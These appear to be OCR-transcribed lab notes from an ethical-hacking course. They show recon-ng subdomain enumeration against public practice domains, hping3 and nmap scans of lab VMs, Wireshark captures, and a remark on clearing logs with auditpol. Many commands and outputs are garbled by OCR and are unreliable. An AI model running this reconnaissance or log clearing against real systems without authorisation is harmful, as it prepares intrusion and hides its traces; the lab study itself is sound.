Which command would you use to confirm the working directory ?

Lpwd and lcd, list and change the working directory

What is MACE value ?
MACE stands for modified, accessed, created and entry modified.  
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What is auditpol ?
Is a command line tool built into windows for the automation of audit policy control.  Through it use settings can be configured, logs cleared down etc.  By it’s very nature, it means that commands can be duplicated over many systems, meaning the job of clear down can be made correct once, and re used.
[bookmark: _Toc123832389]Hack the box
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pdb Starts a Python Debugger session (dev only)
reload Reloads the loaded module
run Runs the loaded module
script Records and executes command scripts
shell Executes shell commands
Fi show Shows various framework items
spool Spools output to a file

[recon-ng][ACCE6000] [bing_domain_web] > dashboard

Activity Summary

Module | Runs

recon/domains-hosts/bing_domain_web | 4
recon/domains-hosts/netcraft 11

Ne

I Results Summary

category | Quantity

Domains |
Companies |
Netblocks
Locations |
Vulnerabilities
Ports |
Hosts. |
Contacts |
Credentials
Leaks I
Pushpins
Profiles
Repositories

[recon-ng][ACCB6000] [bing_domain_web] > show ?
Shows various framework items

Usage: show <companies|contacts|credentials|domains|hosts|leaks|locations|net
blocks |ports|profiles|pushpins|repositories|vulnerabilities>

[recon-ng][ACCE6000] [bing_domain_web] > show hosts

| rowid | host | ip_address | region | country | latitud
e | longitude | notes | module

1 | wow . itsecgames.com | | | |
| | bing_domain_web
2 | wwn .certifiedhacker.com | | |

1 | bing_domain_web

2 rows returned
[recon-ng][ACCB6000] [bing_domain_web] > [
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10g.ACCB6000. com = No record found.
2u.ACCB6000. com = No record found.
2a.ACCB6000.com = No record found.
zebra.ACCB6000.com = No record found.
2m.ACCB6000.com = No record found.

H 2ulu.ACCB6000. com = No record found.
zera.ACCB6000. com = No record found.
zeus.ACCB6000. com = No record found.

SUMMARY

45 total (6 new) hosts found.
[recon-ng][ACCE6000] [brute_hosts] > show hosts

| rowid | host. | ip_address | region | country | latitude | longitude | notes | module I
Ne |1 | ww.itsecgames.com | 31.3.96.60 | | | | | | bing_domain_web

2 | ww.certifiedhacker.con | 162.241.216.11 | | | | | | bing_domain_web
I3 | autodiscover.outlook.con | | | | | | | brute_hosts
| & | autodiscover.itsecgames.com | | | | | | | brute_hosts
I'5 | autod.ha-autod.office.com | | | | | | | brute_hosts
I 6 | autod.ms-acdc-autod.office.com | | | | | | | brute_hosts
I 7 | autodiscover.itsecgames.com | 40.100.174.216 | | | | | | brute_hosts
| 8 | autodiscover.itsecgames.com | 40.99.150.136 | | | | | | brute_hosts
I 9 | autodiscover.itsecgames.com | 52.98.207.168 | | | | | | brute_hosts
| 10 | autodiscover.itsecgames.com | 40.99.150.152 | | | | | | brute_hosts
| 11 | database. itsecgames.con | 81.82.245.81 | | | | | | brute_hosts
| 12 | mme-srv-dci.itsecganes.com | | | | | | | brute_hosts
| 13 | dc.itsecgames.com | | | | | | | brute_hosts
| 26 | dc.itsecgames.com | 10.0.1.10 | | | | | | brute_hosts
| 15 | dns.itsecgames.con | 81.82.245.81 | | | | | | brute_hosts
| 16 | firewall.itsecgames.con | 176.95.65.18 | | | | | | brute_hosts
| 17 | ldap.itsecgames.con I I I I | | | brute_hosts
| 18 | ldap.itsecgames.con | 10.0.1.10 | | | | | | brute_hosts
| 19 | mssql.itsecgames.com | 81.82.245.81 | | | | | | brute_hosts
| 20 | vpn.itsecgames.con | | | | | | | brute_hosts
|21 | vpn.itsecgames.con | 176.95.65.18 | | | | | | brute_hosts
| 22 | itsecgames.con | | | | | | | brute_hosts
| 23 | autodiscover.certifiedhacker.com | 162.241.216.11 | | | | | | brute_hosts
| 26 | blog.certifiedhacker.con | 162.241.216.11 | | | | | | brute_hosts
| 25 | events.certifiedhacker.com | 162.241.216.11 | | | | | | brute_hosts
| 26 | certifiedhacker.con | | | | | | | brute_hosts
127 | ftp.certifiedhacker.com | | | | | | | brute_hosts
| 28 | ftp.certifiedhacker.con | 162.241.216.11 | | | | | | brute_hosts
| 29 | mail.certifiedhacker.con | | | | | | | brute_hosts
| 30 | imap.certifiedhacker.com | | | | | | | brute_hosts
I 31 | imap.certifiedhacker.con | 162.241.216.11 | | | | | | brute_hosts
| 32 | localhost.certifiedhacker.con | 127.0.0.1 | | | | | | brute_hosts
| 33 | mail.certifiedhacker.con | 162.241.216.11 | | | | | | brute_hosts
| 36 | news.certifiedhacker.con | 162.241.216.11 | | | | | | brute_hosts
| 35 | smtp.certifiedhacker.com | | | | | | | brute_hosts
I 36 | smtp.certifiedhacker.con | 162.241.216.11 | | | | | | brute_hosts
| 37 | webmail.certifiedhacker.com | 162.241.216.11 | | | | | | brute_hosts
| 38 | autodiscover.itsecgames.com | 52.97.208.8 | | | | | | brute_hosts
| 39 | autodiscover.itsecgames.com | 40.99.213.72 | | | | | | brute_hosts
| 4 | autodiscover.itsecgames.com | 52.97.202.88 | | | | | | brute_hosts
| 41 | autodiscover.itsecgames.com | 52.97.219.216 | | | | | | brute_hosts
| 42 | pop.certifiedhacker.com | | | | | | | brute_hosts
| 43 | pop.certifiedhacker.con | 162.241.216.11 | | | | | | brute_hosts

43 rows returned
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[recon-ng v5.1.2, Tim Tomes (alanmasters3)

Ne [recon-ngl[default] > workspace load ACCE6000
[!] Invalid command: workspace load ACCB6000
[recon-ng][default] > workspaces load ACCB6000
[recon-ng][ACCB6000] > modules load recon/hosts-hosts/ipstack
[recon-ng][ACCB6000][ipstack] > run
31.3.96.40 - 52.309051513671875,4.940189838409424 - Diemen, North Holland, Netherlands
162.241.216.11 - 40.21580123901367,-111.6124267578125 - Provo, Utah, United States
40.100.174.216 - 51.5122184753418,None - Canning Town, England, United Kingdom
40.99.150.136 - 51.5122184753418,None - Canning Town, England, United Kingdom
52.98.207.168 - 51.5122184753418,None - Canning Town, England, United Kingdom
40.99.150.152 - 51.5122184753418,None - Canning Town, England, United Kingdom
81.82.245.81 - 50.8279914855957,3.2650299072265625 - Kortrijk, Flanders, Belgium
10.0.1.10 - None,None -
176.95.65.18 - 51.363250732421875,6.418240070343018 - Kempen, North Rhine-Westphalia, Germany
127.0.0.1 - None,None -
52.97.208.8 - 51.5122184753418,None - Canning Town, England, United Kingdom
40.99.213.72 - 51.5122184753418,None - Canning Town, England, United Kingdom
52.97.202.88 - 51.5122184753418,None - Canning Town, England, United Kingdom
52.97.219.216 - 51.5122184753418,None - Canning Town, England, United Kingdom
[recon-ng][ACCB6000] [ipstack] > show hosts

| rowid | host. | ip_address | region country latitude longitude | notes
| module
1 | ww.itsecgames.con 1 31.3.96.40 | Diemen, North Holland | Netherlands | 52.3090515136719 | .94018983840942
| bing_domain_web |
2 | w.certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813
| bing_domain_web |
'3 | autodiscover.outlook.con | | I I I
| brute_hosts |
| 4 | autodiscover.itsecgames.com 1 | I I I
| brute_hosts |
15 | autod.ha-autod.office.com | | | | | |
| brute_hosts |
16 | autod.ms-acdc-autod.office.com | | | | | |
| brute_hosts |
I'7 | autodiscover.itsecgames.com | 40.100.174.216 | Canning Town, England | United Kingdom | 51.5122184753418 |
| brute_hosts |
I's | autodiscover.itsecgames.com | 40.99.150.136 | Canning Town, England | United Kingdom | 51.5122184753418 |
| brute_hosts |
I'9 | autodiscover.itsecgames.com | 52.98.207.168 | Canning Town, England | United Kingdom | 51.5122184753418 |
| brute_hosts |
I 10~ | autodiscover.itsecgames.com | 40.99.150.152 | Canning Town, England | United Kingdom | 51.5122184753418 |
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| path | version | status | Updated | DK
| recon/hosts-hosts/resolve I 1.0 | installed | 2019-06-24 |
| recon/hosts-hosts/reverse_resolve I 1.0 | not installed | 2019-06-24 |
Fi | recon/netblocks-hosts/reverse_resolve | 1.0 | installed | 2019-06-24 |
D - Has dependencies. See info for details
K = Requires keys. See info for details

[recon-ng][ACCB6000] > marketplace install recon/hosts-hosts/reverse_resolve
Module installed: recon/hosts-hosts/reverse_resolve
Reloading modules ..
[recon-ng][ACCB6000] > modules load recon/hosts-hosts/reverse_resolve
[recon-ng][ACCB6000 ] [reverse_resolve] > run
Country: None
Host: web.mmebvba.com
Ne Tp_Address: 31.3.96.40
Latitude: None
Longitude: None
Notes: None
Region: None

Country: None
Host: box5331.bluehost.com
Tp_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

52.97.211.120 = No record found.
40.100.174.232 = No record found.
49.99.151.136 = No record found.
52.97.202.104 = No record found.
Country: None

Host: d5152f551.static. telenet.be
Tp_Address: 81.82.245.81

Latitude: None

Longitude: None

Notes: None

Region: None

10.0.1.10 = No record found.
176.95.65.18 = No record found.
127.0.0.1 = No record found.

52.98.145.120 = No record found.
40.99.205.120 = No record found.
52.97.208.40 = No record found.
52.98.207.136 = No record found.
52.97.241.168 = No record found.
40.99.151.152 = No record found.
52.97.133.216 = No record found.
52.97.129.248 = No record found.
52.97.208.56 = No record found.
52.97.129.72 = No record found.
52.98.224.168 = No record found.

iy

SUMMARY

3 total (3 new) hosts found
[recon-ng][ACCB6000] [reverse_resolve] > [

O Type here to search O & @ m
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] kali-linux-2022.3-virtualbox-amd64 [Running] - Oracle VM VirtualBox
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BEm@mapor-

Generating an API K x Authenticate using x tials ~ APIs

@ D file:/l/home/kali/Desktop/ACCBE000 output html

KaliLinux # KaliTools @ KaliDocs ! Kali Forums e Kali NetHunter % Exploit-D|

Google Hacking D

Recon-ng R

nnaissance

ACB

Recon-ng Reconnaissance Report

‘W recon-ng.com

[-] Summary
table  count
domains 3
companies 0
netblocks o
locations. o
wunerabilies 0
ports o
hosts )
contacts o
credentils 0
leaks o
pushpins o
profies o
repositories 0
[-] Domains
domain___ notes _ module
ACCBS000.com user_defined
certiiehacker.com user_defined
tsecgames.com user_defined
[-] Hosts.
host Ip_address region country latitude longitude __ notes ___module
autod ha-autod.office.com 4099151136 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autod ha-autod ofice. com 4099151152 Canning Town, England United Kingdom  51.5122184753418 resaive
autod ha-autod ofice. com 5207.133216  Canning Town, England United Kingdom  51.5122184753418 resaive
autod ha-autod ofice. com 5207.120248  Canning Town, England United Kingdom  51.5122184753418 resaive
autod.ms-acdc-autod.office.com  52.97.202.104  Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autod.ms-acdc-autod.office.com  52.97.208.56  Canning Town, England United Kingdom  51.5122184753418 resaive
autod.ms-acdc-autod.office.com 529712972 Canning Town, England United Kingdom  51.5122184753418 resaive
autod.ms-acdc-autod.office.com  52.98.224.168  Canning Town, England United Kingdom  51.5122184753418 resaive
autodiscover certfiedhacker.com  162.241216.11 Provo, Utah United States  40.2158012390137 -111.612426757813 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com  40.100.174.232 Canning Town, England United Kingdom  51.5122184753418 brute_hosts.
autodiscover tsecgames.com 5298207136 Canning Town, England United Kingdom  51.5122184753418 resaive
autodiscover tsecgames.com 4099151136 Canning Town, England United Kingdom  51.5122184753418 resaive
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File Actions Edit View Help
round-trip min/avg/max = 0.7/10.5/21.5 ms

—(kali® kali)-[~]
Ls hping3 -1 10.0.2.X -
HPING 10.0.2.X (eth0 10.0.2.X)
“c

— 10.0.2.X hping statistic —

3 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

nd-dest -1 ethe
icmp mode set, 28 headers + @ data bytes

—(kali® kali)-[~]

L§ sudo hping3 -1'10.0.2.% —rand-dest -T ethe

HPING 10.0.2.% (ethd 10.0.2.%): icmp mode set, 28 headers + 0 data bytes
“c

— 10.0.2.% hping statistic —

4 packets transmitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

—(kali® kali)-[~]

L§ sudo hping3 -1'10.0.2.x —rand-dest -T ethe

HPING 10.0.2.x (etho 10.0.2.x): icmp mode set, 28 headers + 0 data bytes
Ten=46 ip=10.0.2.8 tt1-128 id=49938 icmp_seq=5 rtt=23.4 ms

“c

— 10.0.2.x hping statistic —

101 packets transmitted, 1 packets received, 100% packet loss
round-trip min/avg/max = 23.4/23.4/23.4 ms

—(kali® kali)-[~]

L§ sudo hping3 -1'10.0.2.x —rand-dest -T ethe

HPING 10.0.2.x (ethd 10.0.2.x): icmp mode set, 28 headers + 0 data bytes
“c

— 10.0.2.x hping statistic —

4 packets transmitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

—(kali® kali)-[~]

L sudo hping3 -1 10.0.2.x
Unable to resolve '10.0.2.x"

—(kali® kali)-[~]

L sudo hping3 -1 10.0.2.x —rand-dest -I ethd

HPING 10.0.2.x (eth0 10.0.2.x): icmp mode set, 28 headers + 0 data bytes

6 ip-10.0.2. 1d=49941 icmp_seq-102 .0 ms
6 ip-10.0.2. icmp_seq-112 -4 ms
6 ip-10.0.2. icmp_seq-118 8 ms
6 ip-10.0.2. icmp_seq-123 1 ms
6 ip-10.0.2. icmp_seq-125 0.7 ms
6 ip-10.0.2. icmp_seq-131 7 ms
6 ip-10.0.2. icmp_seq-210 0.8 ms
6 ip-10.0.2. icmp_seq-231 .9 ms
6 ip-10.0.2. icmp_seq-376 rtt=12.7 ms
6 ip-10.0.2. 9547 icmp_seq=420 rtt=12.7 ms
6 ip-10.0.2. 28 1d-18524 icmp_seq=447 rtt=3.9 ms
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lali@kali: ~
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E(ka\i@ kali) ]
$ sudo hping3 -S 10.0.2.8
HPING 10.0.2.8 (eth0 10.0.2.8): S set, 40 headers + 0 data

— 10.0.2.8 hping statistic —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.9/5.9/8.0 ms

,j( kali® kali)-[~]
$ sudo hping3 -A 10.0.2.8 -p 80
HPING 10.0.2.8 (eth0 10.0.2.8): A set, 40 headers + 0 data

— 10.0.2.8 hping statistic —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.4/6.0/12.7 ms

[lati®kati)-[~]

$ sudo hping3 -F 10.0.2.8

HPING 10.0.2.8 (eth0 10.0.2.8): F set, 40 headers + @ data
len=46 ip=10.0.2.8 tt1=128 DF id=44 sport-0 flags=RA seq=0
28 DF id=45 sport=0 flags=RA seq=1
28 DF id=46 sport=0 flags=RA seq=2

— 10.0.2.8 hping statistic —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 3.8/3.9/3.9 ms

,j( kali® kali)-[~]
$ sudo hping3 -S 10.0.2.8 -p 80
HPING 10.0.2.8 (eth0 10.0.2.8): S set, 40 headers + 0 data

— 10.0.2.8 hping statistic —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 7.8/10.3/14.6 ms

i® kali)-[~]
’:(hah

sport-80 flags=SA seq-
sport-80 flags=SA se

lali@kali: ~

bytes
win=0

rtt=8.0 ms
win=0 rtt=1.9 ms

bytes
win=0

bytes
win=o rtt=3.8 ms
win=0
win=0

bytes

IR

a o

°03 | @ &
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2 0m%|a e
kali@ali: ~ [x}

-8 1-1000 10.0.2.9
Scanning 10.0.2.9 (10.0.2.9), pori. 1-1000
1000 ports to scan, use -V to see all the replies

Iport| serv name | flags Ittll id | win | len
80 http s 128 4175 8192 46
135 epmap és 128 o807 8192 46
139 netbios-ssn: .S 128 10063 8192 46
445 microsoft-d: .S 128 10319 8192 46

ALl replies received. Done
Not responding ports: (536 ) (537 ) (538 gdomap) (539 ) (540 uucp) (541 ) (542 ) (543 Klogin) (54 kshell) (545 ) (546 dhcpvé-clie) (547 dhcpv6-serv) (548 afpovertcp) (549 ) (550 ) (551 ) (552 ) (553 ) (554 rtsp) (605 ) (606 ) (607 nas
) (608 ) (609 ) (610 ) (611 ) (612 ) (613 ) (614 ) (615 ) (616 ) (617 ) (618 ) (619 ) (620 ) (621 ) (622 ) (623 asF-rmep) (626 ) (625 ) (626 ) (627 ) (628 amap) (629 ) (630 ) (631 ipp) (632 ) (633 ) (634 ) (635 ) (636 ldaps) (637 ) (63
8) (639 ) (640 ) (641 ) (642 ) (643 ) (644 ) (645 ) (646 ldp) (647 ) (648 ) (649 ) (650 ) (651 ) (652 ) (653 ) (654 ) (655 tinc) (656 ) (657 ) (658 ) (659 ) (660 ) (661 ) (662 ) (663 ) (664 ) (665 ) (666 ) (667 ) (668 ) (669 ) (670 )
(671) (672 ) (673 ) (674 ) (675 ) (676 ) (677 ) (678 ) (679 ) (680 ) (681 ) (682 ) (683 ) (684 ) (685 ) (686 ) (687 ) (688 ) (689 ) (690 ) (691 ) (692 ) (693 ) (794 ) (795 ) (796 ) (797 ) (798 ) (799 ) (800 ) (801 ) (802 ) (803 ) (804

) (805 ) (806 ) (807 ) (808 ) (809 ) (810 ) (811 ) (812 ) (813 ) (814 ) (815 ) (816 ) (817 ) (818 ) (819 ) (820 ) (821 ) (822 ) (823 ) (826 ) (825 ) (826 ) (827 ) (828 ) (829 ) (830 ) (831 ) (832 ) (833 ) (834 ) (835 ) (836 ) (837 )
838 ) (839 ) (840 ) (841 ) (842 ) (843 ) (844 ) (845 ) (846 ) (847 ) (848 ) (849 ) (850 ) (851 ) (852 ) (853 domain-s) (854 ) (855 ) (856 ) (857 ) (858 ) (859 ) (860 ) (861 ) (862 ) (863 ) (864 ) (865 ) (916 ) (917 ) (918 ) (919 ) (920

) (921) (922 ) (923 ) (926 ) (925 ) (926 ) (927 ) (928 ) (929 ) (930 ) (931 ) (932 ) (933 ) (934 ) (935 ) (936 ) (937 ) (938 ) (939 ) (940 ) (941 ) (942 ) (943 ) (94 ) (945 ) (946 ) (947 ) (948 ) (949 ) (950 ) (951 ) (952 ) (953 )
954 ) (955 ) (956 ) (957 ) (958 ) (959 ) (960 ) (961 ) (962 ) (963 ) (964 ) (965 ) (966 ) (967 ) (968 ) (969 ) (970 ) (971 ) (972 ) (973 ) (974 ) (975 ) (976 )

L—(kah@ kali)-[~]
o hping3 -5 -8 1-1000 10.0.2.10
5(ann ¢ 10.0.2.10 (10.0.2.10), port 1-1000
1000 ports to scan, use -V to see all the replies

Iport| serv name | flags Ittll id | win | len
53 domain .S..A 128 65125 8192 46
88 kerberos .S..A 128 8550 8192 46
135 epmap S.A.. 128 12390 8192 46
139 netbios-ssn: .S..A 128 12646 8192 46
389 ldap .S..A... 128 25702 8192 46
445 microsoft-d: .S..A 128 25958 8192 46
464 kpasswd .S..A... 128 26214 8192 46
593 S.A.. 128 26470 8192 46
636 ldaps .S..A 128 28518 8192 46

AVaSepTicagrace UedHoana:
Not responding ports:

i®kali)-[~]
’:(hah
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& server 2012 [Running] - Oracle VM VirtualBox - X
File Machine View Input Devices Help

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

mge xB es=7sE][Flaaan
judo. BWEd )+
o, Time Saurce Destraton S
420 66.634773  236.181.167.208  10.0.2.10
428 67.635782  73.75.36.45 10.0.2.10
430 68.636742  250.128.211.252  10.0.2.10
435 69.637738  200.86.173.36 10.0.2.10
439 70.638751  185.181.221.34 10.0.2.10
445 71.640728  170.134.35.184 10.0.2.10
450 72.641749  41.198.174.178 10.0.2.10
45473.642765  206.138.218.14 10.0.2.10
460 74643764 75.245.153.238 10.0.2.10
465 75.643782  88.75.135.5 10.0.2.10
469 76.643873  170.161.238.164  10.0.2.10
475 77.643922  94.146.94.181 10.0.2.10
480 78643892 52.255.38.89 10.0.2.10
484 79.604959  52.171.1.78 10.0.2.10
490 80644900  101.105.108.13%8  10.0.2.10
494 81.644990  108.255.89.135 10.0.2.10 -
[Tine delta from previous displayed frame: 1.000971000 seconds] ~ 05 00 27 4b 12 2 08 00 27 22 46 47 0G 00 45 00
[Tine since reference or first frame: 52.621108000 seconds] 9274 %0 00 00 00 40 11 4b 79 45 ac <b 49 02 00 €@ KyE
Frome mumbers 336 ©2 6a oc d2 00 00 02 60 29 ds 58 58 58 58 58 58 ~ )
" 5858 56 58 58 58 58 58 58 58 58 58 58 58 58 58 X000000XK 0]
frane Length: 84 byres (3136 bits) 53 55 53 55 58 56 55 53 55 58 53 58 58 56 58 53 X00000X X0
Capture Length: 642 bytes (5136 bits) 3o 55 58 58 58 58 58 55 5 5 5 5 5 5 5 95 0UKOUK X
[Frame is marked: False] S8 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 X000000XK 0C
[Frame is ignored: False] 53 55 53 56 58 56 55 53 55 58 53 58 58 56 58 53 X00000X XWX
[Protocols in frame: eth:ethertype:ip:udp:data] S8 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 X000000XK 0C
[Coloring Rule Name: UDP] 53 55 53 56 58 56 55 53 55 58 53 58 58 56 58 53 X00000X XWX
[Coloring Rule String: udp] S8 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 X000000XK 0C
b Ethernet II, Src: PcsCompu_22:46:4f (08: 46:4f), Dst: PesCq B e e M
b Internet Protocol Version 4, Src: 69.172.235.73, Dst: 10.0.2.10 T
b User Datagram Protocol, Src Port: 3282, Dst Port: @ o 25 25 55 26 56 96 55 56 55 55 55 26 55 26 25 20000000 200]
4 Data (500 bytes) S8 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 X000000XK 0C
Iy Dste: SESESESSsESasesesasesssasasssasasesesasesesasasesasasesesd S8 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 X000000XK 0C
[Length: 600] 53 55 53 56 58 56 55 53 55 58 53 58 58 56 58 53 X00000X XNX
2 S5 58 58 55 58 58 58 58 58 58 58 58 58 58 58 58 X0000000K 00( ¥
< >l >
@ 7 wireshark EthermetvOPTVpcapng Packets: 494 - Displayed: 154 (31.2%) Profie: Default

BoEFo 0 @ @rightcyl
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i server 2012 [Running] - Oracle VM VirtualBox
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aae RE Rex>2=7F &[5
(A Tipport==50
Time. Source Destination Protocol
1521 283.366209  10.0.2.15 10.0.2.10 Tcp

G0 2653 -+ 50 [SYN] Seq- i

4 Frame 1535: 54 bytes on wire (432 bits), 54 bytes captured (432 bif~

Section number: 1
b Interface id: 0 (\Device\NPF_{4E9C2ADS-45A5-40F5-AA49-2F76CAGD3E

Encapsulation type: Ethernet (1)
Arrival Time: Nov 20, 2022 17:01:42.264843000 GMT Standard Time
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1668963702.264543000 seconds
[Tine delta from previous captured frame: 0.000023000 seconds]
[Tine delta from previous displayed frame: 0.000023000 seconds]
[Time since reference or first frame: 285.363040000 seconds]
Frame Nurber: 1535
Frame Length: 54 bytes (432 bits)
Capture Length: 54 bytes (432 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ethertype:ip:tcp]
[Calarine Rule ame: TCP RSTI v

02 of

27
25 02
o
18

22
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i
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g e RE QRes=F iz [EFaaan

Time.

4537.. 457.468025.
4537.. 457.468028

4 57.463051 2 2 ST, AC

4537.. 457.468134. © [<None>] Seq:
4537.. 457.468134. © [<None>] Seq:
4537. 457.465134. 0 [<None>] Seq:

4 Frame 453783: 54 bytes on wire (432 bits), 54 bytes captured (432 £~ 08 00 27 22 46 47 08 00 27 4b 12 12 68 00 45 00 Fo K

Section number: 1 ©0 25 69 ce 40 00 50 06 73 C9 0a 00 02 02 02 00 (i@ - x
b Interface id: 0 (\Device\NPF_{4E9C2ADS-45A5-40F5-AA49-2F76CAGD3E 02 of 00 00 42 42 00 00 00 00 01 95 52 33 50 14 85

Encapsulation type: Ethernet (1) 90 90 13 33 00 00 3
Arrival Time: Nov 20, 2022 17:05:04.364841000 GMT Standard Time
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1668963904.364541000 seconds
[Time delta from previous captured frame: 0.000010000 seconds]
[Time delta from previous displayed frame: 0.000010000 seconds]
[Time since reference or first frame: 437.463033000 seconds]
Frame 453783
Frame Length: 54 bytes (432 bits)
Capture Length: 54 bytes (432 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ethertype:ip:tcp]
[Calarine Rule ame: TCP RSTT

< > [ >

@ 7 wireshark_EthernetMOPTV 1.pcapng Packets: 503305 - Displayed: 503305 (100.0%) Profie: Default
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i server 2016 (Pre Java) [Running] - Oracle VM VirtualBox -
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& demo - NetScanTools® Pro Demo Version Build 9-19-2017 based on version 11.83.
IPv6 Help

Pl p e ge

Clickhereto Buy Now, Manual Tools - O Fingerprinting. @
Automated Tools
TargetHostrame r PvaAddress  Wpcap nerface e
imhiniyfelfy 10.0.2.15 ~| X | Ethemet (10.0.2.9) - Intel(R) PRO/1000 MT Desktop Adapter v
(n02e) MEIERO) Jump To Automated
Completed. o Reports
"4 Dadd o ravartes
ArlyzeTarget__| [Searc Time: Sun, 20 ov 2022 18:25:3
swp Irargec: 10.0.2.15 [10.0.2.15)
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| i Windows 10 [Running] - Oracle VM VirtualBox

& demo - NetScanTools® Pro Demo Version Build 9-19-2017 based on version 11.83.

File Machine View Input Devices Help

Clck here to Buy Now! Manusi Tools -
Targetrostname or vs Address Winpeap Interface o
1025 ][] [Ethermet (10.0.2) -IntelR) PRO1000 T Deskiop Adapter v
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I_ Message signing enabled and required

|nbstat: NetBIOS name: SERVERTWENTYTWE, NetBIOS user: <unknown>, NetBIOS MAC: 0800274b12f2 (Oracle VirtualBox virtual NIC)

lali@kali: ~

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 88.38 seconds

(kali® kali)-[~]
L5 nmap —s7 13 2 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 13:30 EST

Nmap scan report for 10.0.2.9
Host is up (0.000225 latency).

Not shown: 995 closed tcp ports (conn-refused)
PORT  STATE SERVICE VERSTON

80/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)

|_http-server-header: Microsoft-HTTPAPI/2.0
I_http-title: Not Found

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2
3389/tcp open ms-wbt-server Microsoft Terminal Services

| ssl-cert: Subject: commonName=ServerTwentySixteen

| Not valid before: 2022-10-25T20:36:21

I_Not valid after: 2023-04-26T20:36:21

| ssl-date: 2022-11-20T18:31:43+00:00; +18s from scanner time.
I rdp-ntlm-info
| Target Name: SERVERTWENTYSIX
| NetBIOS Domain_Name: SERVERTWENTYSIX

| NetBIOS Computer_Name: SERVERTWENTYSIX
| DNS_Domain_Name: ServerTwentySixteen
|
|
|

DNS_Computer_Name: ServerTwentySixteen
10.0.14393

Product_Versio
System_Time: 2022-11-20T18:31:38+00:00

- 2012 microsoft-ds

Service Info: 0Ss: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 175, deviation: 0s, median: 175

|_nbstat: NetBIOS name: SERVERTWENTYSIX, NetBIOS user: <unknown>, NetBIOS MAC: 0800273¢2959 (Oracle VirtualBox virtual NIC)

1 smb2-time:

| date: 2022-11-20T18:31:38

I_ start_date: 2022-11-02T20:35:28

I smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message signing: disabled (dangerous, but default)
I smb2-security-mode:

I 311

I_ Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 27.13 seconds
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rdp-ntln-info
Target_Name: SERVERTWENTYSIX
NetBIOS_Domain_Name: SERVERTWENTYSIX
NetBIOS_Computer_Name: SERVERTWENTYSIX
DNS_Domain_Name: ServerTwentySixteen
DNS_Computer_Name: ServerTwentySixteen
Product_Version: 10.0.14393
System_Time: 2022-11-20T18:31:38+00:00

lali@kali: ~

Service Info: 0Ss: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 175, deviation: 0s, median: 175

|_nbstat: NetBIOS name: SERVERTWENTYSIX, NetBIOS user: <unknown>, NetBIOS MAC: 0800273e2959 (Oracle VirtualBox virtual NIC)

1 smb2-time:

| date: 2022-11-20718:31:38

I_ start_date: 2022-11-02T20:35:28

I smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message signing: disabled (dangerous, but default)
I smb2-security-mode:

I 311

I_ Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 27.13 seconds

—(kali® kali)-[~]

L-$ nmap -sx -T3 -A 10.0.2.9

You requested a scan type which requires root privileges.
QUITTING!

—(kali® kali)-[~]
L-$ sudo nmap -sX -T3 -A 10.0.2.9
[sudo] password for kali:

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 13:34 EST

Nmap scan report for 10.0.2.9
Host is up (0.00019s latency).

AUL 1000 scanned ports on 10.0.2.9 are in ignored states.
